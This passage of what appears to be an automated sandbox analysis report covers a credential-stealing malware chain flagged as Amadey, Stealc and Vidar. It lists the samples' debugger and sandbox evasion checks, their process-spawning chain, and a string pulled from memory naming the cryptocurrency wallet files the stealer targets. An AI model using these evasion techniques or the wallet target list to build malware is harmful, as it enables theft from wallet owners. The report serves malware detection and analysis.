Source: file.exe, 00000000.00000002.2386289151.0000000002599000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWH
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: #Windows 11 Microsoft Hyper-V Server
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Code function: 6_2_054802E5 rdtsc 6_2_054802E5
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_0041ACFA
Contains functionality to create guard pages, often used to hinder reverse usering and debugging
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00404610 VirtualProtect ?,00000004,00000100,00000000 0_2_00404610
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_004195E0
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00419160 mov eax, dword ptr fs:[00000030h] 0_2_00419160
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle, 0_2_00405000
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0041C8D9 SetUnhandledExceptionFilter, 0_2_0041C8D9
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_0041ACFA
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0041A718
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA3B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_6CA3B66C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA3B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_6CA3B1F7
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CBEAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_6CBEAC62
Source: C:\Users\user\Desktop\file.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: file.exe PID: 6880, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 659e6df34d.exe PID: 7596, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 659e6df34d.exe PID: 7856, type: MEMORYSTR
Searches for specific processes (likely to inject)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 0_2_004190A0
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIJKFHIIEHI.exe" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe "C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe" Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\userIJKFHIIEHI.exe "C:\Users\userIJKFHIIEHI.exe" Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process created: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe "C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process created: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe "C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe"
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: 7bfd2dfdc1.exe, 00000014.00000002.3392069446.00000000007F2000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3389981692.00000000007F2000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: userIJKFHIIEHI.exe, userIJKFHIIEHI.exe, 00000009.00000002.2424291604.0000000000769000.00000040.00000001.01000000.0000000A.sdmp, axplong.exe, 0000000F.00000002.2449285864.00000000008A9000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Program Manager
Source: RoamingKJEGDBKFIJ.exe, 00000006.00000002.2373119176.0000000000C76000.00000040.00000001.01000000.00000009.sdmp, explorti.exe, 0000000D.00000002.2432417132.0000000000AA6000.00000040.00000001.01000000.0000000E.sdmp, explorti.exe, 0000000E.00000002.3390822561.0000000000AA6000.00000040.00000001.01000000.0000000E.sdmp Binary or memory string: 9Program Manager
Source: RoamingKJEGDBKFIJ.exe, explorti.exe Binary or memory string: 79Program Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA3B341 cpuid 0_2_6CA3B341
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Desktop\file.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 0_2_00417630
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\Desktop\file.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Queries volume information: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00417420 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA, 0_2_00417420
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA, 0_2_004172F0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA, 0_2_004174D0

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 32.2.explorti.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.explorti.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.RoamingKJEGDBKFIJ.exe.a80000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.userIJKFHIIEHI.exe.570000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.axplong.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.explorti.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.2.axplong.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.2373035719.0000000000A81000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.3389599424.00000000006B1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2390275517.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000003.2405534163.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2760526662.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.3389689706.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000003.2332387044.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2424174248.0000000000571000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.2336215842.0000000004840000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000003.2388154782.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2431689835.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000003.2719030660.0000000005080000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2449142736.00000000006B1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2702273695.0000000005270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected Stealc
Source: Yara match File source: 00000015.00000002.2608427789.00000000026DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2386289151.0000000002578000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.2783199122.000000000267A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2479176591.0000000002567000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 6880, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 659e6df34d.exe PID: 7596, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 659e6df34d.exe PID: 7856, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 6880, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session 